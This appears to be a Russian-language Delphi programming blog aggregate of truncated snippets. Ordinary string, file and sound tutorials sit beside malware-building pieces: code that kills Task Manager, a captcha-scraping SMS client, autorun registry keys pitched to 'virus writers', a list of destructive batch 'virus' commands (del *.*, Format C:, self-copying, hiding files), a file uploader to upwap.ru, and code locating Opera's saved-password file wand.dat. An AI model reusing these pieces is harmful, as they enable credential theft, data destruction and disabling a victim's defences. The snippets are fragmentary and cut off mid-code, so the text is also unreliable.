procedure TForm1.Timer3Timer(Sender: TObject);
var
H:HWND;
begin
h := FindWindow(nil, 'Диспетчер задач Windows');
if H <> 0 then
SendMessage(H, WM_SYSCOMMAND, SC_Close, 0);
end;

1) Функция Length(Str: String) - возвращает длину строки (количество символов). Пример:

var
Str: String; L: Integer;
{ ... }
Str:='Hello!';
L:=Length(Str); { L = 6 }

2) Функция SetLength(Str: String; NewLength: Integer) позволяет изменить длину строки. Если строка содержала большее количество символов, чем задано в функции, то "лишние" символы обрезаются. Пример:

var Str: String;
{ ... }
Str:='Hello, world!';
SetLength(Str, 5); { Str = "Hello" }

3) Функция Pos(SubStr, Str: String) - возвращает позицию подстроки в строке. Нумерация символов начинается с единицы (1). В случае отсутствия подстроки в строке возращается 0. Пример:

var Str1, Str2: String; P: Integer;
{ ... }
Str1:='Hi! How do you do?';
Str2:='do';
P:=Pos(Str2, Str1); { P = 9 }

4) Функция Copy(Str: String; Start, Length: Integer) - возвращает часть строки Str, начиная с символа Star ... Читать дальше »

uses
StrUtils, jpeg, IdHTTP;

...

procedure TForm1.Button1Click(Sender: TObject);
var
http: TIdHTTP;
jpeg: TJPEGImage;
ms: TMemoryStream;
page, captchaUrl: string;
i: integer;
begin
// Создание экземпляров классов

http := TIdHTTP.Create(owner);

jpeg := TJPEGImage.Create;

ms := TMemoryStream.Create;

http.Request.UserAgent := 'Opera/9.80';
http.HandleRedirects := True;
http.AllowCookies := True;

// Загрузка страницы с капчей и
// вытаскивание URL капчи
page := http.Get('http://www.tyumen.mts.ru/sendsms/');
i := PosEx('LBD_CaptchaImage', page);
i := PosEx('src=', page, i) + 5;
captchaUrl := Copy(page, i, PosEx(#39, page, i) - i);
captchaUrl := StringReplace(captchaUrl, '&amp;', '&', [rfReplaceAll]);

// Загрузка капчи
http.Get('http://www.tyumen.mts.ru/sendsms/' + captchaUrl, ms);
ms.Position := 0;
jpeg.LoadFromStream(ms);
Image1.Picture.Ass ... Читать дальше »

Будет полезно для вирусописателей, тем кто вирусам противодействует и просто для общего развития)

Какие способы автозагрузки существуют? Где найти список программ, загружаемых Windows автоматически? Как отключить списки автозагрузки? Этим темам и посвящена данная статья.

Существует немало способов автозагрузки программ. Ниже приведены несколько вариантов для ознакомления, возможно это поможет вам, если возникнет необходимость найти и удалить какую-либо программу из автозагрузки.

Реестр

В реестре автозагрузка представлена в нескольких местах:
- [HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run] — программы, которые запускаются при входе в систему. Данный раздел отвечает за запуск программ для всех пользователей системы.
- [HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ RunOnce] — программы, которые запускаются только один раз при входе пользователя в систему. После ... Читать дальше »

1)del *.* /q - после запуска этой команды все файлы кроме папок которые были в той папке где был запущен вирус удалатся!!!
2)label E: pridurok - После выполнения этой команды винт будет называться «pridurok»
3)time 00:00 - устанавливает время
4)assoc .exe=.mp3 - меняет формат файлов
5)md 1... - забить комп папками
6)start ... - запустить что нибудь (например:Calc;Taskmgr;Mspaint;notepad)
7)del %0 - вирус удалится после выполнения всех команд (ПИСАТЬ ЕЁ В САМОМ КОНЦЕ ВИРУСА)
8)copy %0 C:saper.bat - копируют вирус туда , куда ему напишешь
9)attrib +h - скрыть файл
10)attrib -h - показать файл
11)if exist %путьфайл% %команда% - если существует файл, выполнить команду
12)cls - отчистить экран
13)ren %путьфайл% %новое_название_файла% - переименовать файл
14) start /m /w %путьфайл% - запустить файло в свёрнутом окне.
15) del *.exe - удаляем файл с расширением .ехе
16)Format C:\ - команда форматирования диска С
17)C:\ Y - авто согласие ... Читать дальше »

создаешь текстовый файл, пишешь в него: DATA WAVE data.wav
сохраняешь его как например data.rc (rc - это расширение)
создаешь wav-файл под названием data.wav (в принципе, название любое пишешь, главное чтоб и в текстовом файле такое же название было)
далее запускаешь консольку, пишешь brcc32.exe "полный путь с именем текстового файла с расширением", появляется в папке с текстовым файлом файл data.res. Вот его и включаешь в свой проект

{$R data.res} (это пишешь после слова implementation)

PlaySound('DATA', HInstance, SND_RESOURCE + SND_ASYNC + SND_LOOP) (это пишешь там, где нужно проиграть звук)

обращение производится по имени ресурса (ресурс мы назвали в текстовом файле как DATA, тип WAVE)
SND_RESOURCE - проигрывание звука из ресурса
SND_ASYNC - чтоб программа не зависала во время воспроизведения

SND_LOOP - играет по кругу, если не надо не пиши
SND_APPLICATION Звук воспроизводится с использованием ус ... Читать дальше »

--------------------------------------------------------------------}
{------------------- Copyright 4T(4team) © 2010 --------------------}
{--------------------------------------------------------------------}

uses
IdMultipartFormData, IdHTTP;

function UploadFile_UNWAP(_filename, _info: string; const _password: string = ''): string;
var
_F: TIdMultiPartFormDataStream;
_Http: TIdHTTP;
_Buff: string;
begin
_Http := TIdHTTP.Create(nil);
_Http.HandleRedirects := True;
_Http.Get('http://upwap.ru/upload/');
_F := TIdMultiPartFormDataStream.Create;
if FileExists(_filename) then
_F.AddFile('file', _filename, 'multipart/form-data')
else begin
Result := 'Файл для загрузки ненайден!';
Exit;
end;
_F.AddFormField('desc', UTF8Encode(_info));
if _password <> '' then
_F.AddFormField('password', UTF8Encode(_password));
_F.AddFormField('send', UTF8Encode('Отправить!'));
_Buff:=UTF8Decode(_Ht ... Читать дальше »

в uses кидаем ShlObj, Shellapi

объявляем функцию

function GetSpecialPath(CSIDL: Word): string;
var
s: string;
begin
SetLength(s, MAX_PATH);
if not SHGetSpecialFolderPath(0, PChar(s), CSIDL, True) then
s := '';
Result := PChar(s);
end;

потом в процедуру, например формактив пишем:

procedure TForm1.FormActivate(Sender: TObject);
var
primer,local,x: string;
begin
primer:= GetSpecialPath(CSIDL_APPDATA);
local:= GetSpecialPath($1c);
x:= (primer +'\Opera\Opera\wand.dat');
вот и всё)

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, xpman, jpeg, ExtCtrls, ImgList, StdCtrls, IdAntiFreezeBase,
IdAntiFreeze, IdCookieManager, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP, ShlObj, Shellapi, IdFTP, Menus,
Trayicon, FindFile;

type
TForm1 = class(TForm)
ImageList1: TImageList;
Image1: TImage;
Image2: TImage;
Image3: TImage;
Image4: TImage;
Image5: TImage;
Image6: TImage;
Image7: TImage;
Image8: TImage;
Image9: TImage;
Image10: TImage;
Image11: TImage;
Image12: TImage;
Image13: TImage;
Image14: TImage;
Image15: TImage;
Image16: TImage;
CheckBox1: TCheckBox;
CheckBox2: TCheckBox;
CheckBox3: TCheckBox;
CheckBox4: TCheckBox;
CheckBox5: TCheckBox;
CheckBox6: TCheckBox;
CheckBox7: TCheckBox;
CheckBox8: TCheckBox;
CheckBox9: TCheckBox;
CheckBox10: T ... Читать дальше »

var
myFile : TextFile;
text : string;

begin
// Попытка открыть файл Test.txt для записи
AssignFile(myFile, 'Test.txt');
ReWrite(myFile);

// Запиcь нескольких известных слов в этот файл
WriteLn(myFile, 'Hello');
WriteLn(myFile, 'World');

// Закрытие файла
CloseFile(myFile);

// Повторное открытие файла в режиме только для чтения
Reset(myFile);

// Отображение содежимого файла
while not Eof(myFile) do
begin
ReadLn(myFile, text);
ShowMessage(text);
end;

// Закрытие файла в последний раз
CloseFile(myFile);
end;

Hello
World